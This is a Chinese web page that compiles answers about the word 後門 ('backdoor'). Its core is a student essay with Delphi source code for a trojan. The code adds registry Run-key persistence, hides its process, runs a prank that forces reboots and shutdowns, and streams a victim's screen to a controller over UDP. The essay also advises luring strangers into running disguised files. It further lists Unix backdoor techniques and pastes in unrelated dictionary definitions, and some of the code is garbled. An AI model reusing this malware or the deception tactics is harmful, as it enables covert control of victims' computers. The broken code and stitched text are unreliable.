① 網路中後門是什麼意思
就是讓攻擊者可以在以後的日子裡可以隨時進行連接的東西,不一定是程序,可能會在你的系統裡面留一個後門賬戶,可以隨時進行遠程桌面連接的後門賬戶。
② 電腦網路中的「後門」是什麼意思
電腦網路中的「後門」即是網路的漏洞
一、問題的提出
"The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."這是著名匿名伺服器站點Anonymizer上曾有過的一段話。是的,在不知不覺中,E時代已經到來,網路給我們的生活增添了絢麗與多彩。但是,在這五彩繽紛的世界下面,潛伏著一股黑潮暗流--黑客(HACKER)。這個名詞越來越引起世人的關注,而且影響越來越大,關於黑客事件的報道也越來越多。黑客是伴隨網路產生成長的,是指那些對電腦和網路有狂熱興趣的人,他們不斷的研究電腦和網路知識,發現電腦和網路中的漏洞,喜歡挑戰高難度的網路系統,千方百計的尋找網路中的大小漏洞,然後向網路管理員提出解決漏洞的建議。真正的黑客大多是賦有正義感的。他們不會惡意侵入他人系統,並且破壞系統程序和數據。但有一些人特別崇拜黑客,喜歡利用電腦網路四處搗亂,到處尋找黑客軟體,然後到處搞破壞,這類人應該是網路上最危險的傢伙。現在的媒體把這類人是黑客混為一談,"黑客"一詞也因此成了貶義詞。
現在的黑客軟體十分多,Back Orific、冰河、YAI到處都有。接觸網路後,我經常想:黑客軟體到底是如何編制的?我能編一個黑客軟體多好呀!這到不是想干壞事,因為在網路機房上課時,用一些黑客軟體可以作為控制工具來控制學員的機器(如:冰河)。可見黑客軟體本身不象病毒是個不好的東西,是可以用在正路上的。經過我的摸索,初步掌握了一些設計方法,主要是特洛伊木馬程序。本次畢業設計,我設計一個模擬黑客入侵程序,一個惡作劇程序,一個可以截獲網路上別人在機器上幹些什麼的程序,幾個程序純屬用於實驗,沒有什麼其它目的。在這里向各位老師匯報一下。程序設計的語言用的是PASCAL,用DELPHI 4進行編譯。
二、"特洛伊木馬"如何入侵系統
一個完整的"特洛伊木馬"一般分為兩個部分:一個是客戶服務程序(Client),用它來控制已經打開"後門"的機器;另一個是"後門"程序,用它來開放某台機器。假設我們想控制某台電腦,那麼我們通過一些手段來把"後門"程序傳到該電腦中並使其運行,這樣該電腦就變成了一台特殊的FTP伺服器。然後我們使用Client程序就可以控制該電腦了。當然,後門程序如果不運行也就無法發揮作用。因此,就要"誘騙"別人使用後門程序。如果是朋友或熟人,利用他們的信任讓他運行就行了;要是陌生人,可以在聊天室中和他們套近乎,一旦取得信任,把程序發給他們,誘騙其運行。當然,程序要隱蔽一些,例如可以把後門程序改名,變為README之類,或改變後綴,變成GIF、BMP等,當他們雙擊這些文件後就上了"賊船"了。也可以用WINZIP的把後門程序和一些東西製作成一個自解壓包,然後利用設定解壓後自動運行SETUP程序功能來運行指定的後門程序。總之,要利用一切手段使人家運行後門程序。
木馬程序運行後,會通過不同的方式修改系統,以便以後啟動系統後自動運行木馬。修改方法一般是通過修改注冊表:
Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和
Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的項目是在系統開機時自動載入的,我們可以在這兩添加鍵值,達到自動啟動的目的。以下的這段代碼可以修改注冊表,並調用API函數判斷系統目錄,復制文件到其下,以實行入侵系統的目的:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,registry;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procere Button1Click(Sender: TObject);
procere Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procere TForm1.Button1Click(Sender: TObject);
var
regf:tregistry;
sysdir:pchar;
temp:string;
begin
getmem(sysdir,256);
getsystemdirectory(sysdir,128);
temp:=sysdir+'\client.exe';
freemem(sysdir,256);
regf:=tregistry.create;
regf.rootkey:=hkey_local_machine;
regf.openkey('software\microsoft\windows\currentversion\run',true);
regf.writestring(' ',temp);
regf.free;
file(pchar('hacker.exe'),pchar(temp),true);
end;
procere TForm1.Button2Click(Sender: TObject);
begin
close;
end;
end.
也有些高明的程序可以感染系統文件,附著在這些程序文件中,以達到其目的。我還沒有搞清楚這是怎樣辦到的。
在Windows中按下Ctrl+Alt+Del可以顯示當前運行的程序,這樣一來,我們的木馬程序不是要露餡了嗎?以下這段匯編代碼可以很方便的嵌入DELPHI或C++中,讓別人看不到你的程序,可以很好的隱藏:
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
為什麼這段匯編代碼可以隱藏程序呢?據資料分析:在WINDOWS 9X載入應用程序時,FS指向的段就是類似於DOS應用程序的PSP,裡面保存著一些有關應用程序重要數據,按下Ctrl+Alt+Del後,對於一個應用程序,若沒有可顯示的ENABLE窗口的名字,則系統要檢查上面程序段中的特定雙字是不是10800000h,如果是就不顯示這個應用程序的可執行文件的名字。
下面是一個惡作劇的程序,入侵計算機後,每次開機後,隨機出現滑鼠亂跑並發出怪叫、熱啟動、強行關機的現象,讓你無法進入WINDOWS 9X。對於一般的計算機用戶來說,因為找不出這個程序在何處,所以只能格式化系統區,重新安裝系統。
program hacker;
uses
windows;
var temp:integer;
begin
asm
mov ebx,30h
push es
push fs
pop es
mov ebx,es:[ebx]
pop es
mov eax,10800000h
xchg [ebx+20h],eax
end;
randomize;
temp:=random(3);
if temp=0 then
while(true) do
begin
messagebeep(0);
SetCursorPos (random(640),random(480));
end
else if temp=1 then
ExitWindowsEx(EWX_REBOOT,0)
else ExitWindowsEx(EWX_SHUTDOWN,0);
end.
有的木馬為了防止發現後被清除,在啟動時會產生一個備份,一般是感染WINDOWS的系統文件,當木馬被發現並清除後,備份會自動激活,使你依然處於遠程黑手的控制。比如當前國最盛行的"冰河",首先會修改注冊表的啟動項目,將自己復制兩份到系統中,分別為KERNEL32.EXE和SYSEXPLE.EXE,並且修改TXT文件的打開方式,一旦KERNEL32.EXE被刪除,那麼當打開一個TXT文件時,SYSEXPLE.EXE將再產生一個KERNEL32.EXE文件。
另外,有的木馬還能在運行後修改文件名,或者復制感染系統後,進行自我銷毀,使用戶很難進行查找。
三、木馬的種類
1、破壞型
惟一的功能就是破壞並且刪除文件,可以自動的刪除電腦上的DLL、INI、EXE文件。
2、密碼發送型
可以找到隱藏密碼並把它們發送到指定的信箱。有人喜歡把自己的各種密碼以文件的形式存放在計算機中,認為這樣方便;還有人喜歡用WINDOWS提供的密碼記憶功能,這樣就可以不必每次都輸入密碼了。許多黑客軟體可以尋找到這些文件,把它們送到黑客手中。也有些黑客軟體長期潛伏,記錄操作者的鍵盤操作,從中尋找有用的密碼。
在這里提醒一下,不要認為自己在文檔中加了密碼而把重要的保密文件存在公用計算機中,那你就大錯特錯了。別有用心的人完全可以用窮舉法暴力破譯你的密碼。利用WINDOWS API函數EnumWindows和EnumChildWindows對當前運行的所有程序的所有窗口(包括控制項)進行遍歷,通過窗口標題查找密碼輸入和出確認重新輸入窗口,通過按鈕標題查找我們應該單擊的按鈕,通過ES_PASSWORD查找我們需要鍵入的密碼窗口。向密碼輸入窗口發送WM_SETTEXT消息模擬輸入密碼,向按鈕窗口發送WM_COMMAND消息模擬單擊。在破解過程中,把密碼保存在一個文件中,以便在下一個序列的密碼再次進行窮舉或多部機器同時進行分工窮舉,直到找到密碼為止。此類程序在黑客網站上唾手可得,精通程序設計的人,完全可以自編一個。
3、遠程訪問型
最廣泛的是特洛伊馬,只需有人運行了服務端程序,如果客戶知道了服務端的IP地址,就可以實現遠程式控制制。以下的程序可以實現觀察"受害者"正在干什麼,當然這個程序完全可以用在正道上的,比如監視學生機的操作。
程序中用的UDP(User Datagram Protocol,用戶報文協議)是網際網路上廣泛採用的通信協議之一。與TCP協議不同,它是一種非連接的傳輸協議,沒有確認機制,可靠性不如TCP,但它的效率卻比TCP高,用於遠程屏幕監視還是比較適合的。它不區分伺服器端和客戶端,只區分發送端和接收端,編程上較為簡單,故選用了UDP協議。本程序中用了DELPHI提供的TNMUDP控制項。
受控機程序部分:
讓控制項CUDP監視受控機的1111埠,當有數據發送到該口時,觸發控制項CUDP的ONDATARECEIVED事件;REMOTEPORT屬性設為2222,當控制項CUDP發送數據時,將數據發送到主控機的2222口。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
NMUDP, ComCtrls;
type
Tclient = class(TForm)
cudp: TNMUDP;
Animate1: TAnimate;
procere FormCreate(Sender: TObject);
procere FormDestroy(Sender: TObject);
procere cudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
client: Tclient;
implementation
const bufsize=2048;//發送每一批數據的緩沖區大小
var
bmpstream:tmemorystream;
leftsize:longint;
{$R *.DFM}
procere screencap(leftpos,toppos,rightpos,bottompos:integer);
var
recwidth,recheight:integer;
sourcedc,destdc,bhandle:integer;
bitmap:Tbitmap;
begin
recwidth:=rightpos-leftpos;
recheight:=bottompos-toppos;
sourcedc:=createdc('display','','',nil);
destdc:=createcompatibledc(sourcedc);
bhandle:=createcompatiblebitmap(sourcedc,recwidth,recheight);
selectobject(destdc,bhandle);
bitblt(destdc,0,0,recwidth,recheight,sourcedc,leftpos,toppos,src);
bitmap:=tbitmap.Create;
bitmap.Handle:=bhandle;
bitmap.SaveToStream(bmpstream);
bmpstream.Position:=0;
leftsize:=bmpstream.Size;
bitmap.Free;
deletedc(destdc);
releasedc(bhandle,sourcedc);
end;
procere Tclient.FormCreate(Sender: TObject);
begin
bmpstream:=tmemorystream.create;
end;
procere Tclient.FormDestroy(Sender: TObject);
begin
bmpstream.free;
end;
procere Tclient.cudpDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
ctrlcode:array[0..29] of char;
buf:array[0..bufsize-1] of char;
tmpstr:string;
sendsize,leftpos,toppos,rightpos,bottompos:integer;
begin
cudp.ReadBuffer(ctrlcode,numberbytes);//讀取控制碼
if ctrlcode[0]+ctrlcode[1]+ctrlcode[2]+ctrlcode[3]='show'
then
begin//控制碼前4位為"SHOW"表示主控機發出了截屏指令
if bmpstream.Size=0 then//沒有數據可發,必須截屏生成數據
begin tmpstr:=strpas(ctrlcode);
tmpstr:=(tmpstr,5,length(tmpstr)-4);
leftpos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
toppos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
tmpstr:=(tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr));
rightpos:=strtoint((tmpstr,1,pos(':',tmpstr)-1));
bottompos:=strtoint((tmpstr,pos(':',tmpstr)+1,length(tmpstr)-pos(':',tmpstr)));
screencap(leftpos,toppos,rightpos,bottompos);//調用截屏函數
end;
if leftsize>bufsize then sendsize:=bufsize
else sendsize:=leftsize;
bmpstream.ReadBuffer(buf,sendsize);
leftsize:=leftsize-sendsize;
if leftsize=0 then bmpstream.Clear;
cudp.RemoteHost:=fromip;//FROMIP為主控機IP地址
cudp.SendBuffer(buf,sendsize);//將數據發到主控機的2222埠
end;
end;
end.
主控機程序部分:
讓控制項SUDP監視主控機的2222埠,當有數據發送到該口時,觸發SUDP的ONDATARECEIVED事件;REMOTEPORT屬性設為1111,當控制項SUDP發送數據時,將數據發到受控機的1111口。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, Buttons, NMUDP;
type
Tsever = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
BitBtn1: TBitBtn;
Image1: TImage;
BitBtn2: TBitBtn;
sudp: TNMUDP;
procere BitBtn2Click(Sender: TObject);
procere FormCreate(Sender: TObject);
procere FormDestroy(Sender: TObject);
procere BitBtn1Click(Sender: TObject);
procere sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
private
{ Private declarations }
public
{ Public declarations }
end;
var
sever: Tsever;
implementation
const bufsize=2048;
var
rsltstream,tmpstream:tmemorystream;
{$R *.DFM}
procere Tsever.BitBtn2Click(Sender: TObject);
begin
close;
end;
procere Tsever.FormCreate(Sender: TObject);
begin
rsltstream:=tmemorystream.create;
tmpstream:=tmemorystream.create;
end;
procere Tsever.FormDestroy(Sender: TObject);
begin
rsltstream.free;
tmpstream.free;
end;
procere Tsever.BitBtn1Click(Sender: TObject);
var
reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strp(reqcode,reqcodestr);
tmpstream.Clear;
rsltstream.Clear;
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
procere Tsever.sudpDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String);
var reqcode:array[0..29] of char;
reqcodestr:string;
begin
reqcodestr:='show'+edit1.text;
strp(reqcode,reqcodestr);
sudp.ReadStream(tmpstream);
rsltstream.CopyFrom(tmpstream,numberbytes);
if numberbytes<bufsize then
begin
rsltstream.Position:=0;
image1.Picture.Bitmap.LoadFromStream(rsltstream);
tmpstream.Clear;
rsltstream.Clear;
end
else
begin
tmpstream.Clear;
reqcode:='show';
sudp.RemoteHost:=edit2.Text;
sudp.SendBuffer(reqcode,30);
end;
end;
end.
四、如何預防黑客
黑客程序雖然破壞大,但不是不能防止的。
1、處理好你的密碼
我們一般是用賬號和密碼來上網的,密碼的設置無疑是十分講求技巧的,許多人的安全防範意識差,不注意密碼的設置,造成自己的賬號被盜用。如今的黑客軟體都是掛上密碼字典,然後用窮舉法進行破解,密碼太簡單,那麼破解的可能性就大了。以下是一些注意事項。
⑴ 密碼不可和賬號相同,這是最容易被猜到的了。
⑵ 經常更改密碼,拿到新賬號後要立即更改密碼,不要放久了。
⑶ 密碼最好多於8個字元,字元越長,破解難度越大。例如WORD文檔的密碼大於8位後,目前的破解軟體幾乎無法攻破。另外,最好在密碼中加入一些控制鍵,增加破譯難度。千萬不可用單一的字母或數字。
⑷ 有人喜歡用自己的生日、電話、身份證號碼等作為密碼,你不要這樣做。
⑸ 密碼盡量不要記顯眼的紙張上,更不能保存在計算機中,不要貪圖一時方便,用WINDOWS提供的保存密碼功能。
2、不要運行不明真相的程序
無論都高明的黑客程序,只要你不去運行它,就無法害到你。所以,不可相信網友的話,不要去運行他提供的程序;不要隨意去打開別人寄來的附件,無論他把附件中的圖片或影片吹得如何好看;要到大的、著名的網站去下載軟體,千萬不要到不明真象的個人網頁下載,因為在那兒你可能下載的病毒和黑客之手;如果你十分羨慕黑客,也請你不要下載所謂的黑客軟體,否則你沒害到別人,自己反被害了;如果你的機器上有防火牆,在上網時一定要打開,不要怕麻煩。
3、經常檢查系統信息
上網過程中,突然覺得計算機工作不對勁時,彷彿感覺有人在遙遠的地方遙控你。這時,你必須及時停止手中工作,運行"附件→系統工具→系統信息",在任務列表中尋找自己不熟悉的或者自己並沒有運行的程序,一旦找到程序後應立即終止它的運行,以防後患。
4、最好不去聊天室
我一直認為聊天室沒有什麼意思,特別對於計算機專業人員,聊天只是浪費時間和金錢,有些惡意的破壞者利用網上聊天室的漏洞干壞事,例如聊天室支持JAVA、HTML等功能,然而,這小小的JAVA也隱藏"殺機",他可以發給你一個足以讓你的機器當機的HTML語句。因為這些語句是不會在聊天室顯示出來的,所以你被暗算了可能還不知道。防治的辦法是在你的瀏覽器中關閉你的JAVA腳本。想聊天的,在公共機房聊聊算了,不能在自己的機器上聊天。
③ 後門是什麼意思
後門的解釋
(1) [back door]
(2) 後部的門 (3) 被認為是在後面的、通常又是偏遠的或在地理上與主要 進入 路線方向 相反 的入口或進路(如進入一個 國家 的) (4) [backdoor influence]∶ 比喻 通融、舞弊的途徑 走後門 (5) [anus]∶ * 詳細解釋 皇後的 家族 。 《後漢書·樊宏陰識傳贊》 :「權族好傾,後門多毀。」 (1).房屋或院子後面的便門。 漢 焦贛 《易林·升之大有》 :「 公孫 幽遏,跛倚後門。」 《南齊書·高逸傳·褚伯玉》 :「年十八,父為婚,婦入前門, 伯玉 從後門出。」 巴金 《 滅亡 》 第五章:「他並不在自己的房間里停留,便 打開 後門,大步走出去。」 (2).比喻退路、出路。亦比喻通融或舞弊的途徑。 宋 羅大經 《鶴林 玉露 》 卷十六:「今若直前,萬一蹉跌,退將安托?要須留後門,則庶幾進退有據。」 《 水滸傳 》 第七九回:「這個寫草詔的 翰林 待詔,必與 貴人 好,先開下一個後門了。」 明 沉鯨 《雙珠記·協媒誣訟》 :「你知我平日代人寫狀,必要開了後門,留條出路。」 周立波 《參軍這一天》 :「『海邊上,海味 一定 多,又便宜,托你給我帶一點子行不行?』 嬸娘 想走一走堂侄的後門。」 李存葆 《高山下的花環》 五:「她來電話是讓我給她 兒子 開後門,讓我關照關照她兒子!」 (3).謂過了門禁時限而不及進城。 《荀鍵衫子·大略》 :「 柳下惠 與後門者同衣而不見疑,非一日之聞也。」 《呂氏春秋·長利》 :「 戎夷 違 齊 如 魯 ,天大寒而後門,與弟子一人宿於郭外。」 高誘 註:「後門,日夕門已閉也。」 (4).寒微的門第。 《晉書·劉元海載記》 :「 幽冀褲歷 名儒,後門秀士,不遠千里,亦皆游焉。」 南朝 梁武帝 《用賢詔》 :「雖復牛監羊肆,寒品後門,並隨才試吏,勿有遺隔。」 《隋書·文學傳序》 :「或離讒放逐之臣,塗窮後門之士,道轗軻而未遇,志鬱抑而不申。」 范 文瀾 蔡美彪 等 《 中國 通史》 第稿純腔二編第四章第三節:「那些沒有 勢力 的士 族,稱為 寒門 或後門。」 (5).指 * 。 明 李贄 《三大士像議》 :「爾曾留有後門不?若無門,即有腹臟,屎從何出?」 《醒世恆言·陳多壽生死夫妻》 :「早已把女兒放下,抱在身上,將膝蓋 緊緊 的抵住後門,緩緩的解開頸上的死結,用手去摩。」 (6). 北京 地安門 的俗稱。
詞語分解
後的解釋 後 (③後⑥後) ò 上古稱君主:商之先後(先王)。 帝王的 妻子 :皇後。太後。 指空間在背面,反面的,與「前」 相對 :後窗戶。後面。後學。後綴。後進。 時間 較晚,與「先」相對:日後。後福。後期。 指次序 門的解釋 門 (門) é 建築物的出入口,又指安裝在出入口能開關的裝置:門兒。門口。 開門見山 。 形狀或作用像門的 東西 :電門。 途徑,訣竅:門徑。門道兒。 舊時指封建家族或家族的一支,現亦指一般的 家庭 :門第。門風
④ 走後門是什麼意思啊網路詞
「走後門」的意思是:不正當的手段來謀求達到某種個人目的。意為請托辦不正當的事情。這一熟語據說出自北宋年間。相傳北宋徽宗繼位後,以蔡京為相。蔡京上任後,拚命貶謫和排斥哲宗朝的舊吏,規定其子女不得為官和入京,甚至連其詩文也不準流傳。蔡京的這一做法引起了人們強烈的不滿,民間對此多有譏嘲。在一次朝廷宴會上,聰明的藝人們借機在筵間演出了這樣一幕戲:一個大官據案中坐,傳判各事。有個和尚要求離京出遊,可是由於其鍵臘所持的戒牒是哲宗年間的,結果被判令還俗;一個道士遺失了度牒請求補發,但是由於他是哲宗年間出家的,故立即被剝下道袍,復為百姓。這時,一個屬官上前低聲問道:「今國庫發下的俸錢一千貫,皆為舊時錢文,如何處置」這個大官略作沉思,悄悄地說:「那稿如滑就走橡笑後門、從後門搬進來吧!」
⑤ 黑客中說的後門什麼意思
一般黑客都會在攻入系統後不只一次地進入該系統。為了下次再進入系統時方便一點,黑客會留下一個後門,特洛伊木馬就是後門的最好範例。Unix中留後門的方法有很多種,下面介紹幾種常見的後門,供網路管理員參考防範。
密碼破解後門
這是入侵者使用的最早也是最老的方法,它不僅可以獲得對Unix機器的訪問,而且可 以通過破解密碼製造後門。這就是破解口令薄弱的帳號。以後即使管理員封了入侵者的當前帳號,這些新的帳號仍然可能是重新侵入的後門。多數情況下,入侵者尋找口令薄弱的未使用帳號,然後將口令改的難些。當管理員尋找口令薄弱的帳號是,也不會發現這些密碼已修改的帳號。因而管理員很難確定查封哪個帳號。
Rhosts + + 後門
在連網的Unix機器中,象Rsh和Rlogin這樣的服務是基於rhosts文件里的主機名使用簡 單的認證方法。用戶可以輕易的改變設置而不需口令就能進入。入侵者只要向可以訪問的某用戶的rhosts文件中輸入"+ +",就可以允許任何人從任何地方無須口令便能進入這個帳號。特別當home目錄通過NFS向外共享時,入侵者更熱中於此。這些帳號也成 了入侵者再次侵入的後門。許多人更喜歡使用Rsh,因為它通常缺少日誌能力。許多管理員經常檢查 "+ +",所以入侵者實際上多設置來自網上的另一個帳號的主機名和用戶名,從而不易被發現。
校驗和及時間戳後門
早期,許多入侵者用自己的trojan程序替代二進制文件。系統管理員便依靠時間戳和系 統校驗和的程序辨別一個二進制文件是否已被改變,如Unix里的sum程序。入侵者又發展了使trojan文件和原文件時間戳同步的新技術。它是這樣實現的: 先將系統時鍾撥回到原文件時間,然後調整trojan文件的時間為系統時間。一旦二進制trojan文件與 原來的精確同步,就可以把系統時間設回當前時間。Sum程序是基於CRC校驗,很容易騙過。入侵者設計出了可以將trojan的校驗和調整到原文件的校驗和的程序。MD5是被 大多數人推薦的,MD5使用的演算法目前還沒人能騙過。
Login後門
在Unix里,login程序通常用來對telnet來的用戶進行口令驗證。 入侵者獲取login.c的原代碼並修改,使它在比較輸入口令與存儲口令時先檢查後門口令。如果用戶敲入後門 口令,它將忽視管理員設置的口令讓你長驅直入。這將允許入侵者進入任何帳號,甚至是root。由於後門口令是在用戶真實登錄並被日誌記錄到utmp和wtmp前產生一個訪問 的,所以入侵者可以登錄獲取shell卻不會暴露該帳號。管理員注意到這種後門後,便用"strings"命令搜索login程序以尋找文本信息。 許多情況下後門口令會原形畢露。入侵者就開始加密或者更好的隱藏口令,使strings命令失效。 所以更多的管理員是用MD5校驗和檢測這種後門的。
Telnetd後門
當用戶telnet到系統,監聽埠的inetd服務接受連接隨後遞給in.telnetd,由它運行 login.一些入侵者知道管理員會檢查login是否被修改,就著手修改in.telnetd. 在in.telnetd內部有一些對用戶信息的檢驗,比如用戶使用了何種終端。典型的終端 設置是Xterm或者VT100.入侵者可以做這樣的後門,當終端設置為"letmein"時產生一個不要任何驗證的shell. 入侵者已對某些服務作了後門,對來自特定源埠的連接產生一個shell。
服務後門
幾乎所有網路服務曾被入侵者作過後門。 Finger,rsh,rexec,rlogin,ftp,甚至 inetd等等的作了的版本隨處多是。有的只是連接到某個TCP埠的shell,通過後門口令就能獲取訪問。這些程序有時用刺媧□?Ucp這樣不用的服務,或者被加入inetd.conf 作為一個新的服務,管理員應該非常注意那些服務正在運行,並用MD5對原服務程序做校驗。
Cronjob後門
Unix上的Cronjob可以按時間表調度特定程序的運行。入侵者可以加入後門shell程序使它在1AM到2AM之間運行,那麼每晚有一個小時可以獲得訪問。也可以查看cronjob中 經常運行的合法程序,同時置入後門。
庫後門
幾乎所有的UNIX系統使用共享庫,共享庫用於相同函數的重用而減少代碼長度。一些入侵者在象crypt.c和_crypt.c這些函數里作了後門;象login.c這樣的程序調用了 crypt()。當使用後門口令時產生一個shell。因此,即使管理員用MD5檢查login程序,仍然能產生一個後門函數,而且許多管理員並不會檢查庫是否被做了後門。對於許多入侵者來說有一個問題: 一些管理員對所有東西多作了MD5校驗,有一種辦法是入侵者對open()和文件訪問函數做後門。後門函數讀原文件但執行trojan後門程序。所以當MD5讀這些文件時,校驗和一切正常,但當系統運行時將執行trojan版本的,即使trojan庫本身也可躲過MD5校驗,對於管理員來說有一種方法可以找到後門,就是靜態編連MD5校驗程序然後運行,靜態連接程序不會使用trojan共享庫。
內核後門
內核是Unix工作的核心,用於庫躲過MD5校驗的方法同樣適用於內核級別,甚至連靜態 連接多不能識別。一個後門作的很好的內核是最難被管理員查找的,所幸的是內核的 後門程序還不是隨手可得,每人知道它事實上傳播有多廣。
文件系統後門
入侵者需要在伺服器上存儲他們的掠奪品或數據,並不能被管理員發現,入侵者的文章常是包括exploit腳本工具,後門集,sniffer日誌,email的備分,原代碼,等等!有時為了防止管理員發現這么大的文件,入侵者需要修補"ls","","fsck"以隱匿特定的目錄和文件,在很低的級別,入侵者做這樣的漏洞: 以專有的格式在硬碟上割出一部分,且表示為壞的扇區。因此入侵者只能用特別的工具訪問這些隱藏的文件,對於普通的管理員來說,很難發現這些"壞扇區"里的文件系統,而它又確實存在。
Boot塊後門
在PC世界裡,許多病毒藏匿與根區,而殺病毒軟體就是檢查根區是否被改變。Unix下,多數管理員沒有檢查根區的軟體,所以一些入侵者將一些後門留在根區。
隱匿進程後門
入侵者通常想隱匿他們運行的程序,這樣的程序一般是口令破解程序和監聽程序(sniffer),有許多辦法可以實現,這里是較通用的: 編寫程序時修改自己的argv[] 使它看起來象其他進程名。可以將sniffer程序改名類似in.syslog再執行,因此當管理員用"ps"檢查運行進程時,出現 的是標准服務名。可以修改庫函數致使"ps"不能顯示所有進程,可以將一個後門或程序嵌入中斷驅動程序使它不會在進程表顯現。使用這個技術的一個後門例子是
amod.tar.gz :
網路通行。這些網路通行後 門有時允許入侵者通過防火牆進行訪問。有許多網路後門程序允許入侵者建立某個埠號並不用通過普通服務就能實現訪問。 因為這是通過非標准網路埠的通行,管理員可能忽視入侵者的足跡。 這種後門通常使用TCP,UDP和ICMP,但也可能是其他類型報文。
TCP Shell 後門
入侵者可能在防火牆沒有阻塞的高位TCP埠建立這些TCP Shell後門. 許多情況下,他們用口令進行保護以免管理員連接上後立即看到是shell訪問。 管理員可以用netstat 命令查看當前的連接狀態,那些埠在偵聽,目前連接的來龍去脈。 通常這些後門可以讓入侵者躲過TCP Wrapper技術。這些後門可以放在SMTP埠,許多防火牆允許 e-mail通行的.
UDP Shell 後門
管理員經常注意TCP連接並觀察其怪異情況,而UDP Shell後門沒有這樣的連接,所以 netstat不能顯示入侵者的訪問痕跡,許多防火牆設置成允許類似DNS的UDP報文的通行,通常入侵者將UDP Shell放置在這個埠,允許穿越防火牆。
ICMP Shell 後門
Ping是通過發送和接受ICMP包檢測機器活動狀態的通用辦法之一。許多防火牆允許外界ping它內部的機器,入侵者可以放數據入Ping的ICMP包,在ping的機器間形成一個shell通道,管理員也許會注意到Ping包暴風,但除了他查看包內數據,否者入侵者不會暴露。
加密連接
管理員可能建立一個sniffer試圖某個訪問的數據,但當入侵者給網路通行後門加密 後,就不可能被判定兩台機器間的傳輸內容了。